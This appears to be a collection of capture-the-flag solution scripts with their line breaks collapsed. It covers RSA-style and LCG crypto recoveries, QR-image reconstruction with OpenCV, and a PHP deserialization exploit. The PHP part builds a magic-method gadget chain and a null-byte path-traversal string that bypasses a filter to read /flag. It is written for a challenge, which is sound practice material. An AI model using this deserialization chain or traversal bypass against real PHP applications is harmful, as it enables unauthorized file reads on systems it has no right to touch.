from Crypto.Util.number import *import hashlibfrom gmpy2 import *c1 =  85139434329272123519094184286276070319638471046264384499440682030525456122476228324462769126167628121006213531153927884870307999106015430909361792093581895091445829379547633304737916675926004298753674268141399550405934376072486086468186907326396270307581239055199288888816051281495009808259009684332333344687c2 =  104554808380721645840032269336579549039995977113982697194651690041676187039363703190743891658905715473980017457465221488358016284891528960913854895940235089108270134689312161783470000803482494370322574472422461483052403826282470850666418693908817591349159407595131136843764544166774390400827241213500917391144c3 =  94771625845449128812081345291218973301979152577131568497740476123729158619324753128517222692750900524689049078606978317742545997482763600884362992468406577524708622046033409713416026145377740182233674890063333534646927601262333672233695863286637817471270314093720827409474178917969326556939942622112511819330x =  78237329408351955465927092805995076909826011029371783256454322166600398149132623484679723362562600068961760410039241554232588011577854168402399895992331761353772415982560522912511879304977362225597552446397868843275129027248765252784503841114291392822052506837132093960290237335686354012448414804030938873765y =  100442166633632319633494450595418167608036668647704883492068692098914206322465717138894302011092841820156560129280901426898815274744523998613724326647935591857728931946261379997352809249780159136988674034759483947949779535134522005905257436546335376141008113285692888482442131971935583298243412131571769294029z =  104712661985900115750011628727270934552698948001634201257337487373976943443738367683435788889160488319624447315127992641805597631347763038111352925925686965948545739394656951753648392926627442105629724634607023721715249914976189181389720790879720452348480924301370569461741945968322303130995996793764440204452
e=2022tmp1 = pow(x-e,e)-c1tmp2 = pow(y-e,e)-c2m = gcd(tmp1,tmp2)print(m)tmp3 = (x-e) % mfor i in range(1000):    m1 = tmp3 + i*m    if c1 == pow(m+m1,e,m*m1):        print (m1)        break
tmp4 = (y-e) % mfor i in range(1000):    m2=tmp4+i*m    if c2 == pow(m+m2,e,m*m2):        print(m2)        breakflag = m + m1 + m2flag = hashlib.md5(str(flag).encode('utf-8')).hexdigest()print(flag)

from math import gcdfrom gmpy2 import invert
x = [150532854791355748039117763516755705063,335246949167877025932432065299887980427,186623163520020374273300614035532913241,215621842477244010690624570814660992556,220694532805562822940506614120520015819,17868778653481346517880312348382129728,160572327041397126918110376968541265339]
t = [x[i+1] - x[i] for i in range(len(x)-1)]
def f(i):    return t[i]*t[i+2]-t[i+1]*t[i+1]
p = gcd(f(0), f(1))print('p=',p)a = invert(x[1]-x[0], p)a = a * (x[2]-x[1]) % pprint('a=',a)b = (x[1] - x[0] * a) % pprint('b=',b)#p= 339088189917874808463944743121467561531#a= 259086495324961642923203668736965982268#b= 121870392737324465817476070178603827899

p= 339088189917874808463944743121467561531a= 259086495324961642923203668736965982268b= 121870392737324465817476070178603827899c = 114514e= int(2e8)m = 10**10000
e1 = (a*c)/(b-c)e2 = p/(b-1)
def f(n):    t1 = RR(pow(b, n, m).lift())    t2 = RR(pow(c, n, m).lift())    return t1*(1+e1+e2)-e1*t2-e2
print(f(e))

import cv2import cv2 as cvimport numpy as npimport os
pic = cv2.imread("D:\\tmp\\tHXcode.png")c1,c2,c3 = pic.shape
blank_image = np.zeros((348,348,3), np.uint8)
for i in range(c1):    for j in range(c2):        for k in range(c3):            if pic[i,j,k] == 0 or pic[i,j,k] == 255:                blank_image[i,j,k] = 0            else:                blank_image[i, j, k] = 255cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()

import cv2import cv2 as cvimport numpy as np
f = open("123.txt",encoding = "utf-8")
blank_image = np.zeros((330,330,3), np.uint8)
a = f.read()
aa = 0
for i in a:    x = aa//330    y = aa%330    if i == '0':        blank_image[x, y, 1] = 0    else:        blank_image[x, y, 0] = 255        blank_image[x, y, 1] = 255        blank_image[x, y, 2] = 255    aa += 1cv2.imwrite('new.png',blank_image)cv2.imshow('canvas',blank_image)cv2.waitKey(0)cv2.destroyAllWindows()

<?phpclass abaaba{    protected $DoNotGet;
    public function __construct($s){        echo '1';        $this->DoNotGet = $s;    }
    public function __get($name){        echo '2';        $this->DoNotGet->$name = "two";        return $this->DoNotGet->$name;    }
    public function __toString(){        echo '3';        return $this->Giveme;    }}
class Onemore{
    public $file;

    public function readfile($f){        echo '4';        $this->file = isset($f) ? $f : 'image'.$this->file;        echo file_get_contents(safe($this->file));    }
    public function __invoke(){        echo '5';        return $this->filename->Giveme;    }}
class suhasuha{    public $action;
    public function __set($name, $value){        echo '6';        $this->Giveme = ($this->action)();        return $this->Giveme;    }}
class One{    public $count;
    public function __construct(){        echo '7';        $this->count = "one";    }
    public function __destruct(){        echo '8';        echo "try ".$this->count." again";    }
}
function safe($path){    $path = preg_replace("/.*\/\/.*/", "", $path);    $path = preg_replace("/\..\..*/", "!", $path);    $path = htmlentities($path);    return strip_tags($path);}
$a = new One();$b = new suhasuha();$c = new Onemore();$d = new abaaba($b);
$a->count = $d;$b->action = [$c,"readfile"];$c->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");echo urlencode(serialize($a));
?>